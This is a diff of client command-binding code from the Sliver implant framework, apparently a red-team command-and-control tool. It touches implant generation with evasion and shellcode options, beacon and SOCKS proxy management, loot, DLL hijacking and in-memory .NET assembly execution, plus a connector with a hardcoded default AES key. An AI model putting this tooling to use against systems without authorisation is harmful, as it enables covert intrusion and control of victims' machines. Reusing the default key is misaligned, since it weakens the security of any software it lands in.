f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon or session ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseCmd(ctx, con)
con.Println()
return nil
},
Completer: func(prefix string, args []string) []string {
return use.Completer(con, prefix, args)
},
HelpGroup: consts.GenericHelpGroup,
}
useCmd.AddCommand(&grumble.Command{
Name: consts.SessionsStr,
Help: "Switch the active session",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
useCmd.AddCommand(&grumble.Command{
Name: consts.BeaconsStr,
Help: "Switch the active beacon",
LongHelp: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
use.UseBeaconCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(useCmd)
// [ Settings ] --------------------------------------------------------------
settingsCmd := &grumble.Command{
Name: consts.SettingsStr,
Help: "Manage client settings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
settingsCmd.AddCommand(&grumble.Command{
Name: consts.SaveStr,
Help: "Save the current settings to disk",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSaveCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: consts.TablesStr,
Help: "Modify tables setting (style)",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsTablesCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "beacon-autoresults",
Help: "Automatically display beacon task results when completed",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsBeaconsAutoResultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "autoadult",
Help: "Automatically accept OPSEC warnings",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAutoAdultCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -737,11 +537,8 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -981,13 +778,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("H", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -996,7 +793,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -1006,6 +803,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1018,59 +816,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
}
generateCmd.AddCommand(&grumble.Command{
Name: consts.BeaconStr,
Help: "Generate a beacon binary",
LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
Flags: func(f *grumble.Flags) {
f.Int64("D", "days", 0, "beacon interval days")
f.Int64("H", "hours", 0, "beacon interval hours")
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
// Generate flags
f.String("o", "os", "windows", "operating system")
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("c", "canary", "", "canary domain(s)")
f.String("m", "mtls", "", "mtls connection strings")
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
generate.GenerateBeaconCmd(ctx, con)
con.Println()
return nil
},
})
generateCmd.AddCommand(&grumble.Command{
Name: consts.StagerStr,
Help: "Generate a implant stager using MSF",
@@ -1190,7 +935,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
f.String("w", "limit-datetime", "", "limit execution to before datetime")
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -1200,8 +945,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("R", "profile-name", "", "profile name")
f.String("N", "name", "", "agent name")
f.String("N", "profile-name", "", "profile name")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1269,9 +1013,9 @@ func BindCommands(con *console.SliverConsoleClient) {
con.App.AddCommand(implantBuildsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.CanariesStr,
Name: consts.ListCanariesStr,
Help: "List previously generated canaries",
LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
Flags: func(f *grumble.Flags) {
f.Bool("b", "burned", false, "show only triggered/burned canaries")
@@ -1436,8 +1180,6 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("i", "ioc", false, "track uploaded file as an ioc")
},
Args: func(a *grumble.Args) {
a.String("local-path", "local path to the file to upload")
@@ -1459,8 +1201,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "View network interface configurations",
LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}),
Flags: func(f *grumble.Flags) {
f.Bool("A", "all", false, "show all network adapters (default only shows IPv4)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1504,8 +1244,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "exe", "", "filter based on executable name")
f.String("o", "owner", "", "filter based on owner")
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1525,8 +1263,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -1757,7 +1493,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Take a screenshot",
LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1793,88 +1528,20 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
// [ Beacons ] ---------------------------------------------
beaconsCmd := &grumble.Command{
Name: consts.BeaconsStr,
Help: "Manage beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
Flags: func(f *grumble.Flags) {
f.String("k", "kill", "", "kill a beacon")
f.Bool("K", "kill-all", false, "kill all beacons")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsCmd(ctx, con)
con.Println()
return nil
},
}
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a beacon",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsRmCmd(ctx, con)
con.Println()
return nil
},
})
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.WatchStr,
Help: "Watch your beacons",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsWatchCmd(ctx, con)
con.Println()
return nil
},
})
beaconsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Prune stale beacons automatically",
LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.String("d", "duration", "1h", "duration to prune beacons that have missed their last checkin")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
beacons.BeaconsPruneCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(beaconsCmd)
// [ Macros ] ---------------------------------------------
// [ Extensions ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.LoadMacroStr,
Help: "Load a sliver macro",
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
Name: consts.LoadExtensionStr,
Help: "Load a sliver extension",
LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
macros.LoadMacroCmd(ctx, con)
extensions.LoadExtensionCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the macro directory")
a.String("dir-path", "path to the extension directory")
},
HelpGroup: consts.GenericHelpGroup,
})
@@ -2288,59 +1955,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(portfwdCmd)
// [ Socks ] --------------------------------------------------------------
socksCmd := &grumble.Command{
Name: consts.Socks5Str,
Help: "In-band SOCKS5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
socksCmd.AddCommand(&grumble.Command{
Name: "add",
Help: "Create a new Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
f.String("P", "port", "1081", "Bind a Socks5 Port")
f.String("u", "user", "", "socks5 auth user")
f.String("p", "password", "", "socks5 auth pass")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksAddCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
socksCmd.AddCommand(&grumble.Command{
Name: "rm",
Help: "Remove a Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(socksCmd)
// [ Monitor ] --------------------------------------------------------------
monitorCmd := &grumble.Command{
@@ -2465,9 +2079,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
lootCmd.AddCommand(&grumble.Command{
Name: consts.FetchStr,
Name: consts.LootFetchStr,
Help: "Fetch a piece of loot from the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}),
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save loot to a local file")
f.String("f", "filter", "", "filter based on loot type")
@@ -2501,70 +2115,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(lootCmd)
// [ Hosts ] --------------------------------------------------------------
hostsCmd := &grumble.Command{
Name: consts.HostsStr,
Help: "Manage the database of hosts",
LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
hostsCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a host from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
iocCmd := &grumble.Command{
Name: consts.IOCStr,
Help: "Manage tracked IOCs on a given host",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
}
iocCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Delete IOCs from the database",
LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
hosts.HostsIOCRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
hostsCmd.AddCommand(iocCmd)
con.App.AddCommand(hostsCmd)
// [ Reactions ] -----------------------------------------------------------------
reactionCmd := &grumble.Command{
@@ -2678,75 +2228,4 @@ func BindCommands(con *console.SliverConsoleClient) {
},
}
con.App.AddCommand(getprivsCmd)
// [ Extensions ] -----------------------------------------------------------------
extensionCmd := &grumble.Command{
Name: consts.ExtensionStr,
Help: "Manage sliver extensions",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ListCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
extensionCmd.AddCommand(&grumble.Command{
Name: consts.LoadStr,
Help: "Register a new extension",
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.LoadCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("dir-path", "path to the extension directory")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.PreludeOperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+2 -2
View File
@@ -39,7 +39,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
targetDLLData []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -83,7 +83,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+4 -25
View File
@@ -22,49 +22,28 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.Get()
if session == nil {
return
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetEnvInfo(envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintGetEnvInfo(envInfo, con)
}
}
// PrintGetEnvInfo - Print the results of the env get command
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
}
for _, envVar := range envInfo.Variables {
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
}
+3 -23
View File
@@ -22,17 +22,15 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -48,30 +46,12 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSetEnvInfo(name, value, envInfo, con)
})
con.PrintAsyncResponse(envInfo.Response)
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
return
+5 -24
View File
@@ -22,16 +22,14 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -43,33 +41,16 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUnsetEnvInfo(name, unsetResp, con)
})
con.PrintAsyncResponse(unsetResp.Response)
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
}
// PrintUnsetEnvInfo - Print the set environment info
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
if envInfo.Response != nil && envInfo.Response.Err != "" {
con.PrintErrorf("%s\n", envInfo.Response.Err)
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
con.PrintErrorf("%s\n", unsetResp.Response.Err)
return
}
con.PrintInfof("Successfully unset %s\n", name)
+20 -54
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -23,27 +20,26 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
assemblyPath := ctx.Args.String("filepath")
filePath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(assemblyPath) == ".dll" {
if filepath.Ext(filePath) == ".dll" {
isDLL = true
}
if isDLL {
@@ -52,7 +48,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(filePath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -63,8 +59,8 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
@@ -76,50 +72,30 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
con.PrintErrorf("Error: %v", err)
return
}
if executeAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
outFilePath.Write(executeAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
